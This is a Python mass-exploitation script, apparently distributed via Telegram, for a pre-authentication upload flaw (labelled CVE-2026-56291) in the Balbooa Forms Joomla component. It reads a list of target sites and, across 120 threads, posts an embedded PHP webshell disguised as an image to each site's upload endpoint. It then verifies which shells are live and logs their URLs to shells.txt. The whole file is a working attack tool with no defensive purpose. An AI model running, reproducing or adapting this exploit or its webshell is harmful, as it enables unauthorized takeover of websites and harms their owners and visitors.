#!/usr/bin/env python3
"""
CVE-2026-56291 — Balbooa Forms Joomla Mass RCE Exploit
CVSS 9.8 | Pre-Auth | form.uploadAttachmentFile → PHP Upload
Interactive Mass Exploiter — Uploads Custom Webshell
Author: Yoru (يورو) [t.me/ChiefYoru]
"""
import requests
import sys
import os
import time
import random
import re
import hashlib
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
import urllib3
from colorama import init, Fore, Back, Style
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def show_banner():
    os.system("cls" if os.name == "nt" else "clear")
    print(f"""
╻ ╻┏━┓┏━┓╻ ╻
┗┳┛┃ ┃┣┳┛┃ ┃ {Fore.YELLOW}Author:{Style.RESET_ALL} Yoru (يورو) [{Fore.GREEN}t.me/ChiefYoru{Style.RESET_ALL}]
 ╹ ┗━┛╹┗╸┗━┛
  --| Telegram: ({Fore.GREEN}t.me/ChiefYoru_PoCs{Style.RESET_ALL}) |--\n""")
TIMEOUT = 15
THREADS = 120
SHELL_NAME = "yoru.php"
OUTPUT_FILE = "shells.txt"
MARKER = '<a href="https://t.me/ChiefYoru">Yoru (يورو) </a><pre>'

SHELL_CODE = '''<?php echo '<a href="https://t.me/ChiefYoru">Yoru (يورو) </a><pre>'.php_uname()."\n".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'OK';}else{echo 'ER';}}?>'''
UPLOAD_DIRS = ["/images/baforms/uploads/form-{fid}/", "/images/baforms/uploads/form-0/", "/images/baforms/uploads/"]
FORM_IDS = list(range(1, 11))
_lock = threading.Lock()
_hits = 0
_fails = 0
_done = 0
_total = 0
def rand_str(n=8):
    return hashlib.sha256(os.urandom(16)).hexdigest()[:n]
def make_session():
    s = requests.Session()
    s.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"})
    s.verify = False
    return s
def check_url(s, url):
    try:
        r = s.get(url, timeout=TIMEOUT, allow_redirects=True)
        if MARKER in r.text:
            if "<?=" in r.text or "<?php" in r.text.lower():
                return None
            return True
    except Exception:
        pass
    return None
def detect_balbooa(host):
    sess = make_session()
    for proto in ("https://", "http://"):
        base = f"{proto}{host}"
        for p in ["/components/com_baforms/baforms.php", "/administrator/components/com_baforms/baforms.xml"]:
            try:
                r = sess.get(f"{base}{p}", timeout=TIMEOUT)
                if r.status_code == 200 and "baforms" in (r.text or "").lower():
                    return True
            except:
                continue
        try:
            r = sess.get(f"{base}/index.php?option=com_baforms", timeout=TIMEOUT)
            if r.status_code == 200 and "baforms" in (r.text or "").lower():
                return True
        except:
            pass
    return False
def deploy_shell(host):
    pid = rand_str(10)
    name = f"yoru_{pid}"
    sess = make_session()
    for proto in ("https://", "http://"):
        base = f"{proto}{host}"
        for fid in FORM_IDS:
            url = f"{base}/index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id={fid}&format=json"
            for ext in ["php", "phtml"]:
                try:
                    r = sess.post(url,
                        files={"file": (f"{name}.{ext}", SHELL_CODE.encode(), "image/jpeg")},
                        data={"form_id": str(fid)},
                        timeout=TIMEOUT)
                except:
                    continue
                if r.status_code in (200, 201):
                    for check_dir in UPLOAD_DIRS:
                        check_path = check_dir.replace("{fid}", str(fid))
                        shell_url = f"{base}{check_path}{name}.{ext}"
                        if check_url(sess, shell_url):
                            return shell_url
    return None
def exploit(target):
    global _hits, _fails, _done
    target = target.rstrip('/')
    target = re.sub(r"^https?://", "", target)
    if not detect_balbooa(target):
        print(f"{Fore.RED}[-]{Style.RESET_ALL} {target} {Fore.RED}- [Failed]{Style.RESET_ALL}")
        with _lock:
            _fails += 1
            _done += 1
        return False
    shell_url = deploy_shell(target)
    if shell_url:
        with open(OUTPUT_FILE, "a") as f:
            f.write(shell_url + "\n")
        print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {shell_url} {Fore.GREEN}- [Pwned]{Style.RESET_ALL}")
        with _lock:
            _hits += 1
            _done += 1
        return True
    print(f"{Fore.RED}[-]{Style.RESET_ALL} {target} {Fore.RED}- [Failed]{Style.RESET_ALL}")
    with _lock:
        _fails += 1
        _done += 1
    return False
def main():
    global _total
    show_banner()
    target_file = input(f"{Fore.YELLOW}[?]{Style.RESET_ALL} Enter Target List: ").strip()
    try:
        with open(target_file, 'r') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
    except FileNotFoundError:
        print(f"\n{Fore.RED}[!] Unable to load targets. File not found or inaccessible...{Style.RESET_ALL}")
        return
    if not targets:
        print(f"\n{Fore.RED}[!] No targets found in file...{Style.RESET_ALL}")
        return
    seen = set()
    unique = []
    for t in targets:
        if not t.startswith("http"):
            t = f"https://{t}"
        k = t.rstrip("/").lower()
        if k not in seen:
            seen.add(k)
            unique.append(t)
    targets = unique
    _total = len(targets)
    print(f"\n{Fore.CYAN}[INFO]{Fore.WHITE} Tools initialized. Target scan starting...{Style.RESET_ALL}")
    t0 = time.time()
    with ThreadPoolExecutor(max_workers=THREADS) as pool:
        futures = {pool.submit(exploit, t): t for t in targets}
        try:
            for f in as_completed(futures):
                try:
                    f.result()
                except Exception:
                    t = futures[f]
                    print(f"{Fore.RED}[-]{Style.RESET_ALL} {t} {Fore.RED}- [Failed]{Style.RESET_ALL}")
                    with _lock:
                        _fails += 1
                        _done += 1
        except KeyboardInterrupt:
            print(f"\n{Fore.RED}[!] Ctrl+C detected. Terminating gracefully...{Style.RESET_ALL}")
            pool.shutdown(wait=False, cancel_futures=True)
    print(f"\n{Fore.GREEN}[+]{Style.RESET_ALL} {_hits} shells saved to {OUTPUT_FILE}")
if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Fore.RED}[!] Ctrl+C detected. Terminating gracefully...{Style.RESET_ALL}")